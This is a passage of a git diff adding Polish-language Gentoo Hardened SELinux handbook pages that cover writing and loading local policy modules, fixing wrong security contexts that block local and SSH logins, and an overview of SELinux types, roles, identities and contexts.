+<title>Usuwanie tożsamości</title>
+<body>
+
+<p>
+Do usuwania tożsamości służy następujące polecenie:
+</p>
+
+<pre caption="Usuwanie tożsamości test_u">
+# <i>semanage user -d test_u</i>
+</pre>
+
+<note>
+Nie jest możliwe usunięcie tożsamości określonych przez politykę bezpieczeństwa,
+a jedynie tych które sami dodaliśmy.
+</note>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-localmod.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-localmod.xml
new file mode 100644
index 00000000..b4741fe3
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-localmod.xml
@@ -0,0 +1,187 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-localmod.xml,v 1.1 2007/06/02 11:58:03 shadoww Exp $ -->
+
+<sections>
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section>
+<title>Wprowadzenie</title>
+<subsection>
+<body>
+
+<p>
+Dokument opisuje sposób przygotowania modułów polityki, co pozwoli uzupełnić ją
+o dodatkowe reguły.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Przygotowanie</title>
+<subsection>
+<body>
+
+<p>
+Należy rozpocząć od skopiowania przykładowego pliku Makefile, znajdującego się w
+katalogu <path>/usr/share/doc/selinux-base-policy-*</path>, do katalogu, który
+posłuży nam do stworzenia własnej polityki bezpieczeństwa. Warto wykorzystać do
+tego celu katalog <path>/root</path>, ponieważ program <c>semodule</c> może
+wczytywać moduły bezpośrednio z katalogu domowego administratora systemu.
+</p>
+
+<pre caption="Kopiowanie przykładowego pliku Makefile">
+# <i>zcat /usr/share/doc/selinux-base-policy-20061008/Makefile.example.gz > /root/Makefile</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Tworzenie pliku TE</title>
+<subsection>
+<body>
+
+<p>
+W obrębie modułu można wykorzystać większość instrukcji polityki. Należy jednak
+pamiętać, że aby budowany moduł działał poprawnie, konieczne jest umieszczenie w
+pliku <path>*.te</path> kilku dodatkowych deklaracji.
+</p>
+
+<pre caption="Przykładowy plik local.te">
+policy_module(local,1.0)
+
+require {
+	type sysadm_su_t, newrole_t;
+}
+allow sysadm_su_t newrole_t:process sigchld;
+</pre>
+
+<p>
+Poza standardową regułą allow, znajdują się tu również instrukcje wymagane przez
+moduły polityki. Pierwszą z nich jest makro <c>policy_module()</c>, które jako
+argumenty przyjmuje nazwę modułu i jego wersję. Widzimy również blok
+<c>require</c>, służący do określenia jakie typy są konieczne do działania tego
+modułu. Wszystkie typy wykorzystywane w module muszą być zadeklarowane w jego
+obrębie albo wymienione w bloku <c>require</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Tworzenie pliku FC (opcjonalnie)</title>
+<subsection>
+<body>
+
+<p>
+Plik opisujący konteksty innych plików jest opcjonalny. Jego składnia jest taka
+sama jak w przypadku wszystkich plików tego typu.
+</p>
+
+<pre caption="Przykładowy plik local.fc">
+/opt/myprogs/mybin	--	system_u:object_r:bin_t
+</pre>
+
+<p>
+Typy wykorzystane w tym pliku muszą być zadeklarowane w pliku TE lub wymienione
+w jego sekcji <c>require</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Kompilowanie modułów polityki</title>
+<subsection>
+<body>
+
+<p>
+W celu skompilowania wszystkich modułów w danym katalogu, używamy polecenia
+<c>make</c>. Moduły zostaną skompilowane dla aktualnej polityki, wskazywanej
+przez plik <path>/etc/selinux/config</path>.
+</p>
+
+<pre caption="Kompilowanie modułów polityki">
+# <i>make</i>
+Compiling strict local module
+/usr/bin/checkmodule:loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:policy configuration loaded
+/usr/bin/checkmodule:writing binary representation (version 6) to tmp/local.mod
+Creating strict local.pp policy package
+</pre>
+
+<p>
+Możliwe jest skompilowanie modułów dla polityki innej niż tak, z której obecnie
+korzystamy. Służy do tego parametr <c>NAME=</c>.
+</p>
+
+<pre caption="Kompilowanie modułów dla innej polityki">
+# <i>make NAME=targeted</i>
+Compiling targeted local module
+/usr/bin/checkmodule:loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:policy configuration loaded
+/usr/bin/checkmodule:writing binary representation (version 6) to tmp/local.mod
+Creating targeted local.pp policy package
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ładowanie modułów</title>
+<subsection>
+<body>
+
+<p>
+Skompilowane moduły mogą zostać załadowane do używanej aktualnie polityki
+poprzez wybranie celu <c>load</c> z pliku Makefile.
+</p>
+
+<pre caption="Ładowanie skompilowanych modułów">
+# <i>make load</i>
+</pre>
+
+<p>
+Tu również możliwe jest przekazanie parametru <c>NAME=</c>. Alternatywnie można
+załadować pojedyncze moduły przy pomocy polecenia <c>semodule</c>.
+</p>
+
+<pre caption="Ładowanie pojedynczego modułu">
+# <i>semodule -i local.pp</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Budowanie modułów dla SELinux Reference Policy</title>
+<subsection>
+<body>
+
+<p>
+Nowa polityka SELinux w Gentoo jest oparta na rozwiązaniach projektu <uri
+link="http://oss.tresys.com/projects/refpolicy">SELinux Reference
+Policy</uri>. Informacje na temat budowania kompletnych modułów dla tej polityki
+można uzyskać za pośrednictwem <uri
+link="http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted">Reference
+Policy Wiki</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-loglocal.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-loglocal.xml
new file mode 100644
index 00000000..3abdd67a
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-loglocal.xml
@@ -0,0 +1,262 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-loglocal.xml,v 1.5 2008/07/25 12:58:28 shadow Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Zaczynamy</title>
+<subsection>
+<body>
+
+<p>
+Konieczne jest posiadanie statusu <c>sysadm_r</c>, aby wykonać poniższe
+czynności.
+</p>
+
+<p>
+Wykonujemy polecenie <c>sestatus -v</c>, a następnie wybieramy z poniższej listy
+pierwszy kontekst, który się nie zgadza:
+</p>
+
+<table>
+<tr>
+  <th>Proces</th>
+  <th>Kontekst</th>
+</tr>
+<tr>
+  <ti>Init context</ti>
+  <ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti>
+</tr>
+<tr>
+  <ti>/sbin/agetty</ti>
+  <ti><uri link="#doc_chap3">system_u:system_r:getty_t</uri></ti>
+</tr>
+<tr>
+  <th>Plik</th>
+  <th>Kontekst</th>
+</tr>
+<tr>
+  <ti>/bin/login</ti>
+  <ti><uri link="#doc_chap4">system_u:object_r:login_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/sbin/unix_chkpwd</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:chkpwd_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/passwd</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:etc_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/shadow</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:shadow_t</uri></ti>
+</tr>
+<tr>
+  <ti>/bin/bash</ti>
+  <ti><uri link="#doc_chap7">system_u:object_r:shell_exec_t</uri></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst init</title>
+<subsection>
+<title>Sprawdzenie znacznika init</title>
+<body>
+
+<p>
+Istnieje wiele sytuacji, w których init może posiadać niewłaściwy kontekst. Po
+pierwsze, należy sprawdzić czy init jest właściwie oznakowany. Aby tego dokonać
+wystarczy sprawdzić wynik polecenia <c>sestatus</c> dla
+<path>/sbin/init</path>. Jeśli nie jest to <c>system_u:object_r:init_exec_t</c>,
+należy dokonać ponownego oznakowania sysvinit.
+</p>
+
+<pre caption="Ponowne znakowanie sysvinit">
+# <i>rlpkg sysvinit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Weryfikacja dostępnej polityki</title>
+<body>
+
+<p>
+Aby wykonać opisane w tym podrozdziale czynności mysimy posiadać status
+<c>sysadm_r</c>.
+</p>
+
+<p>
+Zawierający politykę plik binarny musi znajdować się w położeniu:
+<path>/etc/selinux/{strict,targeted}/policy</path>. Jeśli go brakuje, należy
+zainstalować politykę.
+</p>
+
+<pre caption="Instalacja polityki">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Sprawdzenie czy init może załadować daną politykę</title>
+<body>
+
+<p>
+Ostatecznym sprawdzianem jest upewnienie się, że init może załadować politykę.
+Wystarczy uruchomić polecenie <c>ldd</c> na pliku init i sprawdzić czy
+libselinux znajduje się w wynikach. Jeśli nie, należy przeinstalować sysvinit.
+</p>
+
+<pre caption="Testowanie, czy init może załadować wybraną politykę">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+Teraz należy ponownie uruchomić komputer, aby init otrzymał prawidłowy
+kontekst i załadował politykę.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst agetty</title>
+<subsection>
+<body>
+
+<p>
+Należy sprawdzić, czy agetty jest prawidłowo oznakowana. Wystarczy posłużyć się
+poleceniem <c>sestatus</c> dla pliku <path>/sbin/agetty</path>. Jeśli nie
+otrzymamy w jego wyniku <c>system_u:object_r:getty_exec_t</c>, konieczne jest
+dokonanie powtórnego oznakowania pakietu <c>util-linux</c>. Potem należy
+ponownie uruchomić wszystkie procesy agetty.
+</p>
+
+<pre caption="Znakowanie i restartowanie procesów agetty">
+# <i>rlpkg util-linux</i>
+# <i>killall agetty</i> <comment>(uruchomią się ponownie)</comment>
+</pre>
+
+<p>
+Wszystkie procesy agetty powinny teraz posiadać poprawny kontekst
+<c>system_u:object_r:getty_exec_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst login</title>
+<subsection>
+<body>
+
+<p>
+Jeśli program do logowania się (<c>/bin/login</c>) nie jest prawidłowo
+oznakowany, należy dokonać ponownego oznakowania pakietu <c>shadow</c>.
+</p>
+
+<pre caption="Ponowne znakowanie pakietu pam-login">
+# <i>rlpkg shadow</i>
+</pre>
+
+<p>
+<c>/bin/login</c> powinien teraz posiadać kontekst
+<c>system_u:object_r:login_exec_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst PAM</title>
+<subsection>
+<body>
+
+<p>
+<c>sshd</c> powinien mieć możliwość użycia PAM do autoryzacji
+użytkownika. Program do sprawdzania hasła PAM (<c>/sbin/unix_chkpwd</c>) musi
+być odpowiednio oznakowany, aby
+<c>sshd</c> mogło sprawdzić hasło. Wystarczy dokonać ponownego oznakowania PAM.
+</p>
+
+<pre caption="Ponowne znakowanie PAM">
+# <i>rlpkg pam</i>
+</pre>
+
+<p>
+Program do sprawdzania haseł powinien posiadać kontekst
+<c>system_u:object_r:chkpwd_exec_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst plików związanych z hasłami</title>
+<subsection>
+<body>
+
+<p>
+Pliki z hasłami (<path>/etc/passwd</path> oraz <path>/etc/shadow</path>) powinny
+być odpowiednio oznakowane. W innym przypadku PAM nie będzie w stanie poprawnie
+autoryzować użytkowników. Należy dokonać ponownego oznakowania tych plików.
+</p>
+
+<pre caption="Ponowne znakowanie plików związanych z hasłami">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+
+<p>
+Pliki <path>/etc/passwd</path> oraz <path>/etc/shadow</path> powinny posiadać
+teraz kontekst odpowiednio <c>system_u:object_r:etc_t</c> i
+<c>system_u:object_r:shadow_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst basha</title>
+<subsection>
+<body>
+
+<p>
+Bash musi być prawidłowo oznakowany, aby użytkownik mógł się zalogować do
+odpowiedniej domeny. Należy dokonać ponownego oznakowania basha.
+</p>
+
+<pre caption="Ponowne znakowanie basha">
+# <i>rlpkg bash</i>
+</pre>
+
+<p>
+Bash (<c>/bin/bash</c>) powinien posiadać teraz kontekst
+<c>system_u:object_r:shell_exec_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-logremote.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-logremote.xml
new file mode 100644
index 00000000..4b9fe266
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-logremote.xml
@@ -0,0 +1,277 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-logremote.xml,v 1.5 2008/07/25 12:59:11 shadow Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Zaczynamy</title>
+<subsection>
+<body>
+
+<p>
+Konieczne jest posiadanie statusu <c>sysadm_r</c>, aby wykonać poniższe
+czynności.
+</p>
+
+<p>
+Wykonujemy komendę <c>sestatus -v</c>, a następnie wybieramy z poniższej listy
+na pierwszym kontekst, który się nie zgadza:
+</p>
+
+<table>
+<tr>
+  <th>Proces</th>
+  <th>Kontekst</th>
+</tr>
+<tr>
+  <ti>Init context</ti>
+  <ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti>
+</tr>
+<tr>
+  <ti>/usr/sbin/sshd</ti>
+  <ti><uri link="#doc_chap3">system_u:system_r:sshd_t</uri></ti>
+</tr>
+<tr>
+  <th>Plik</th>
+  <th>Kontekst</th>
+</tr>
+<tr>
+  <ti>/sbin/unix_chkpwd</ti>
+  <ti><uri link="#doc_chap4">system_u:object_r:chkpwd_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/passwd</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:etc_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/shadow</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:shadow_t</uri></ti>
+</tr>
+<tr>
+  <ti>/bin/bash</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:shell_exec_t</uri></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst init</title>
+<subsection>
+<title>Sprawdzenie znacznika init</title>
+<body>
+
+<p>
+Istnieje wiele sytuacji, w których init może posiadać niewłaściwy kontekst. Po
+pierwsze, należy sprawdzić czy init jest właściwie oznakowany. Aby tego dokonać
+wystarczy sprawdzić wynik polecenia <c>sestatus</c> dla
+<path>/sbin/init</path>. Jeśli nie jest to <c>system_u:object_r:init_exec_t</c>,
+należy dokonać ponownego oznakowania sysvinit.
+</p>
+
+<pre caption="Ponowne znakowanie sysvinit">
+# <i>rlpkg sysvinit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Weryfikacja dostępnej polityki</title>
+<body>
+
+<p>
+Aby wykonać opisane w tym podrozdziale czynności mysimy posiadać status
+<c>sysadm_r</c>.
+</p>
+
+<p>
+Zawierający politykę plik binarny musi znajdować się w położeniu:
+<path>/etc/selinux/{strict,targeted}/policy</path>. Jeśli go brakuje, należy
+zainstalować politykę.
+</p>
+
+<pre caption="Instalacja polityki">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Sprawdzenie czy init może załadować daną politykę</title>
+<body>
+
+<p>
+Ostatecznym sprawdzianem jest upewnienie się, że init może załadować politykę.
+Wystarczy uruchomić polecenie <c>ldd</c> na pliku init i sprawdzić czy
+libselinux znajduje się w wynikach. Jeśli nie, należy przeinstalować sysvinit.
+</p>
+
+<pre caption="Testowanie, czy init może załadować wybraną politykę">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+Teraz należy ponownie uruchomić komputer, aby init otrzymał prawidłowy
+kontekst i załadował politykę.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst sshd</title>
+<subsection>
+<body>
+
+<p>
+Możliwe jest, że <c>sshd</c> nie został odpowiednio oznakowany. W efekcie,
+będzie on uruchamiany w niewłaściwym kontekście. Należy dokonać ponownego
+oznakowania <c>sshd</c>, a następnie zrestartować go.
+</p>
+
+<pre caption="Ponowne znakowanie i restartowanie sshd">
+# <i>rlpkg openssh</i>
+# <i>/etc/init.d/sshd restart</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst PAM</title>
+<subsection>
+<body>
+
+<p>
+<c>sshd</c> powinien mieć możliwość użycia PAM do autoryzacji
+użytkownika. Program do sprawdzania hasła PAM (<c>/sbin/unix_chkpwd</c>) musi
+być odpowiednio oznakowany, aby <c>sshd</c> mogło sprawdzić hasło. Wystarczy
+dokonać ponownego oznakowania PAM.
+</p>
+
+<pre caption="Ponowne znakowanie PAM">
+# <i>rlpkg pam</i>
+</pre>
+
+<p>
+Program do sprawdzania haseł powinien teraz posiadać kontekst
+<c>system_u:object_r:chkpwd_exec_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst plików związanych z hasłami</title>
+<subsection>
+<body>
+
+<p>
+Pliki z hasłami (<path>/etc/passwd</path> oraz <path>/etc/shadow</path>) powinny
+być odpowiednio oznakowane. W innym przypadku PAM nie będzie w stanie poprawnie
+autoryzować użytkowników. Należy dokonać ponownego oznakowania tych plików.
+</p>
+
+<pre caption="Ponowne znakowanie plików związanych z hasłami">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+
+<p>
+Pliki <path>/etc/passwd</path> oraz <path>/etc/shadow</path> powinny posiadać
+teraz kontekst odpowiednio <c>system_u:object_r:etc_t</c> i
+<c>system_u:object_r:shadow_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Nieprawidłowy kontekst basha</title>
+<subsection>
+<body>
+
+<p>
+Bash musi być prawidłowo oznakowany, aby użytkownik mógł zalogować się do
+odpowiedniej domeny. Należy dokonać ponownego oznakowania basha.
+</p>
+
+<pre caption="Ponowne znakowanie basha">
+# <i>rlpkg bash</i>
+</pre>
+
+<p>
+Bash (<c>/bin/bash</c>) powinien posiadać teraz kontekst
+<c>system_u:object_r:shell_exec_t</c>. Możemy spróbować ponownie się zalogować.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Inne problemy związane z sshd</title>
+<subsection>
+<title>Powłoka</title>
+<body>
+
+<p>
+Najpierw należy upewnić się, że użytkownik posiada prawidłową powłokę.
+</p>
+
+<pre caption="Sprawdzanie powłoki użytkownika">
+# <i>grep</i> <comment>nazwa_użytkownika</comment> <i>/etc/passwd | cut -d: -f7</i>
+/bin/bash <comment>(wybrana powłoka)</comment>
+</pre>
+
+<p>
+Jeśli powyższe polecenie nie zwróci niczego lub powłoka użytkownika jest
+niewłaściwa, należy ustawić prawidłową powłokę.
+</p>
+
+<pre caption="Ustawianie powłoki użytkownika">
+# <i>usermod -s /bin/bash</i> <comment>nazwa_użytkownika</comment>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>PAM</title>
+<body>
+
+<p>
+PAM musi być włączone w <c>sshd</c>. Wystarczy upewnić się, że następująca linia
+w pliku <path>/etc/ssh/sshd_config</path> jest odkomentowana:
+</p>
+
+<pre caption="Ustawienie PAM dla sshd w /etc/ssh/sshd_config">
+UsePAM yes
+</pre>
+
+<p>
+SELinux obecnie pozwala jedynie kilku programom - w tym programowi PAM - na
+bezpośredni dostęp do pliku <path>/etc/shadow</path>. Wobec tego openssh musi
+mieć włączoną identyfikację użytkowników przy pomocy autoryzacji (klucze
+publiczne nadal działają).
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-overview.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-overview.xml
new file mode 100644
index 00000000..d9cb6bc4
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-overview.xml
@@ -0,0 +1,743 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-overview.xml,v 1.5 2008/07/25 13:07:18 shadow Exp $ -->
+
+<sections>
+<version>1.5</version>
+<date>2008-05-16</date>
+
+<!--
+<section>
+<title>Mandatory Access Control</title>
+<subsection>
+<body>
+
+<p>
+Security Enhanced Linux is an implementation of mandatory access control
+(MAC) using type enforcement.  In Linux, the regular security permissions
+are a discretionary access control system (DAC).  In DAC, the permissions
+for a particular object, such as a file, are set at the discrection of the
+owner and can be changed at any time by the owner.  In MAC, the access a
+process or user has to an object is defined by the operating system
+security policy, and cannot be bypassed.
+!!! still need to update other links in the handbook
+</p>
+
+</body>
+</subsection>
+</section>
+-->
+
+<section>
+<title>Typy SELinux</title>
+<subsection>
+<body>
+
+<p>
+<e>Typ</e> (nazywany też <e>domeną</e>) jest atrybutem bezpieczeństwa,
+przekazywanym obiektom takim jak pliki, porty internetowe itp. Typ procesu
+odwołuje się zazwyczaj do zakresu jego zastosowania. Polityka SELinux jast w
+głównej mierze zbudowana z reguł egzekucji typów, które opisują, jak mogą one
+współdziałać z obiektami oraz z innymi typami. Typ jest zazwyczaj zakończony
+przyrostkiem &#39;_t&#39;, na przykład <c>sysadm_t</c>. Jest to najważniejszy
+atrybut procesu czy też obiektu, ponieważ większość reguł polityki
+bezpieczeństwa opiera się na typach obiektów wywołujących zdarzenia i tych,
+które są wywoływane.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Statusy SELinux</title>
+<subsection>
+<body>
+
+<p>
+SELinux opiera się w głównej mierze na egzekucji typów, więc statusy (nazywane
+też rolami) są tutaj traktowane inaczej niż w systemach kontroli dostępu
+opartych wyłącznie na statusach. Uprawnienia nie są przyznawane poszczególnym
+statusom. Status opisuje zbiór typów, jakich użytkownik, posiadający ten status,
+może użyć. Przykładowo, administrator, który wykorzystuje system do
+standardowych czynności użytkowych, powinien posiadać status
+<c>staff_r</c>. Jeśli zajdzie potrzeba wykonania czynności administracyjnych
+status powinien zostać zmieniony na
+<c>sysadm_r</c>. W SELinux domeny, w których może znajdować się użytkownik, są
+determinowane posiadanym przez niego statusem. Jeśli dany status nie pozwala na
+posiadanie pewnego typu, to przejście do niego nie będzie możliwe, nawet jeśli
+zasady egzekucji typów na to pozwalają. Generalnie rzecz biorąc statusy
+posiadają przyrostek &#39;_r&#39;, np. <c>system_r</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Tożsamości SELinux</title>
+<subsection>
+<title>Czym są tożsamości SELinux?</title>
+<body>
+
+<p>
+Tożsamość SELinux jest podobna do linuksowej nazwy użytkownika. Zmiany
+tożsamości powinny być ograniczone do minimum, ponieważ system kontroli dostępu
+oparty na statusach jest zależny od tożsamości SELinux. Dlatego, ogólnie rzecz
+ujmując, tożsamość użytkownika nie zmienia się w czasie trwania sesji. ID
+użytkownika w Linuksie może zostać zmienione poleceniem set(e)uid, czyniąc je
+tym samym niewłaściwym z punktu widzenia tożsamości SELinux. Jeśli użytkownik
+otrzymuje tożsamość SELinux, musi ona być zgodna z jego linuksową nazwą
+użytkownika. Każda tożsamość SELinux może korzystać z określonej grupy statusów.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Konfigurowanie odwzorowania tożsamości SELinux</title>
+<body>
+
+<p>
+Polityki SELinux posiadają kilka standardowych tożsamości SELinux, które powinny
+być wystarczające dla wszystkich użytkowników. Konfiguracja odwzorowania
+tożsamości jest konieczna jedynie dla ścisłej (ang. strict) polityki. W
+przypadku polityki pobłażliwej (ang. targeted) nie jest to wymagane, ponieważ
+domyślna tożsamość (user_u) jest wystarczająca we wszystkich przypadkach.
+</p>
+
+<p>
+Gdy użytkownik loguje się to systemu jego tożsamość SELinux jest określana
+zgodnie z przedstawionym poniżej odwzorowaniem.
+</p>
+
+<table>
+<tr>
+  <th>Tożsamość SELinux</th>
+  <th>Status (rola)</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>system_u</ti>
+  <ti>system_r</ti>
+  <ti>
+    Nieinteraktywne procesy systemowe. Tożsamość nie powinna odnosić się do
+    użytkowników.
+  </ti>
+</tr>
+<tr>
+  <ti>user_u</ti>
+  <ti>user_r</ti>
+  <ti>
+    Standardowi nieuprzywilejowani użytkownicy. Jest to domyśle odwzorowanie
+    tożsamości.
+  </ti>
+</tr>
+<tr>
+  <ti>staff_u</ti>
+  <ti>staff_r, sysadm_r</ti>
+  <ti>
+    Administratorzy systemu, którzy logują się rówież w celu wykonywania
+    czynności zwykłych użytkowników.
+  </ti>
+</tr>
+<tr>
+  <ti>sysadm_u</ti>
+  <ti>sysadm_r</ti>
+  <ti>
+    Administratorzy systemu, którzy logują się jedynie w celu wykonania
+    czynności administracyjnych. Przeważnie nie należy stosować tej tożsamości.
+  </ti>
+</tr>
+<tr>
+  <ti>root</ti>
+  <ti>staff_r, sysadm_r</ti>
+  <ti>
+    Specjalna tożsamość dla użytkownika root. Inni użytkownicy powinny w zamian
+    korzystać ze staff_u.
+  </ti>
+</tr>
+</table>
+
+<p>
+Opis składni konfigurowania odwzorować tożsamości SELinux znajduje się w <uri
+link="selinux-handbook.xml?part=3&amp;chap=2#doc_chap3">SELinux HOWTO</uri>.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Konteksty SELinux</title>
+<subsection>
+<body>
+
+<p>
+Opisane powyżej trzy modele bezpieczeństwa razem nazywane są kontekstami
+SELinux. Kontekst posiada składnię:
+<c>tożsamość</c>:<c>status</c>:<c>typ</c>. Kontekst jest najważniejszą wartością
+podczas determinowania dostępu.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Konteksty obiektów</title>
+<body>
+
+<p>
+Przykładowy wynik polecenia <c>ls -Z</c> może wyglądać następująco:
+</p>
+
+<pre caption="Przykładowy wynik polecenia ls -Z">
+drwxr-xr-x  root  root     system_u:object_r:bin_t          bin
+drwxr-xr-x  root  root     system_u:object_r:boot_t         boot
+drwxr-xr-x  root  root     system_u:object_r:device_t       dev
+drwxr-xr-x  root  root     system_u:object_r:etc_t          etc
+</pre>
+
+<p>
+Pierwsze trzy kolumny wyniku to standardowe w Linuksie informacje o prawach
+dostępu, właścicielach i grupach katalogów. Czwarta kolumna to kontekst
+katalogu. Obiekty posiadają standardowy status <c>object_r</c>. Z pozostałych
+pól kontekstu można odczytać, że katalogi posiadają tożsamość <c>system_u</c>, a
+każdy z nich posiada inny typ - odpowiednio: <c>bin_t</c>, <c>boot_t</c>,
+<c>device_t</c> i <c>etc_t</c>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Konteksty procesów</title>
+<body>
+
+<p>
+Przykładowy wynik polecenia <c>ps ax -Z</c> może wyglądać następująco:
+</p>
+
+<pre caption="Przykładowy wynik polecenia ps ax -Z">
+  PID CONTEXT                               COMMAND
+    1 system_u:system_r:init_t              [init]
+    2 system_u:system_r:kernel_t            [keventd]
+    3 system_u:system_r:kernel_t            [ksoftirqd_CPU0]
+    4 system_u:system_r:kernel_t            [kswapd]
+    5 system_u:system_r:kernel_t            [bdflush]
+    6 system_u:system_r:kernel_t            [kupdated]
+  706 system_u:system_r:syslogd_t           [syslog-ng]
+  712 system_u:system_r:httpd_t             [apache]
+  791 system_u:system_r:sshd_t              [sshd]
+  814 system_u:system_r:crond_t             [cron]
+  826 system_u:system_r:getty_t             [agetty]
+  827 system_u:system_r:getty_t             [agetty]
+  828 system_u:system_r:getty_t             [agetty]
+  829 system_u:system_r:getty_t             [agetty]
